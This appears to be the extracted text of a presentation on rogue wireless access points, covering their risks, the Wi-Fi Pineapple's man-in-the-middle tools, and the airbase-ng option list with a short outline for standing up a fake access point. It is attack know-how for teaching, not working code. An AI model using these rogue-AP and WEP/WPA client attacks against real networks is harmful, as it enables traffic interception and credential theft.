  • Slide 1
  • Slide 2
  • Any unauthorized device that provides wireless access Implemented using software, hardware, or a combination of both It can be intentional or unintentionally set up
  • Slide 3
  • Employees attempting to put in their own wireless at work Mobile hotspots from cell carriers Honeypot to see what people are up to on your network Nefarious activities
  • Slide 4
  • Its a huge security risk! In a corporate environment it allows unauthorized access to the network Often theyre misconfigured and lack security features
  • Slide 5
  • Your everyday wireless router Mobile hotspots Wi-Fi Pineapple
  • Slide 6
  • Hardware Access Point for Man-in- the-Middle attacks Connection from Mobile Broadband Android Tethering Ethernet Auxillary Wireless Adapter Managed via SSH or the Web Interface Small, easily concealed and battery powered Expandable with community modules
  • Slide 7
  • MITM attack tools: Karma, DNS Spoof, SSL Strip, URL Snarf, Ngrep and more via the modules Wireless cracking, replay, and deauth attacks with the Aircrack-NG suite Autostart service like karma and reverse ssh for instant attack on power-up
  • Slide 8
  • Setup with : Ad-hoc Connectify (Windows) Alfa Wireless Lan Utility (for Alfa wireless card on Windows) Airbase-ng (Linux) Airbase-ng is multi-purpose tool aimed at attacking clients as opposed to the access point itself
  • Slide 9
  • Implements the Caffe Latte WEP client attack Implements the Hirte WEP client attack WPA/WPA2 handshake capture Act as an ad-hoc access point Act as a full featured AP Filter info by SSID or client MAC address Manipulate and resend packets Encrypt & decrypt sent &received packets
  • Slide 10
  • -a bssid : set Access Point MAC address -i iface : capture packets from this interface -w WEP key : use this WEP key to encrypt/decrypt packets -h MAC : source mac for MITM mode -f disallow : disallow specified client MACs (default: allow) -W 0|1 : [don't] set WEP flag in beacons 0|1 (default: auto) -q : quiet (do not print statistics) -v : verbose (print more messages) (long --verbose) -M : M-I-T-M between [specified] clients and bssids (NOT CURRENTLY IMPLEMENTED) -A : Ad-Hoc Mode -Y in|out|both : external packet processing -c channel : sets the channel the AP is running on -X : hidden ESSID -s : force shared key authentication -S : set shared key challenge length (default: 128) -L : Caffe-Latte attack (long --caffe-latte) -N : Hirte attack (cfrag attack), creates arp request against wep client (long cfrag) -x nbpps : number of packets per second (default: 100) -y : disables responses to broadcast probes -0 : set all WPA,WEP,open tags. can't be used with -z & -Z -z type : sets WPA1 tags. 1=WEP40 2=TKIP 3=WRAP 4=CCMP 5=WEP104 -Z type : same as -z, but for WPA2 -V type : fake EAPOL 1=MD5 2=SHA1 3=auto -F prefix : write all sent and received frames into pcap file -P : respond to all probes, even when specifying ESSIDs -I interval : sets the beacon interval (ms) -C seconds : enables beaconing of probed ESSID values (requires -P)

Put wireless card in monitor mode 2. Create SSID on the wireless interface 3. Bring up the AP 4. Configure the bridged adapters 5. Profit
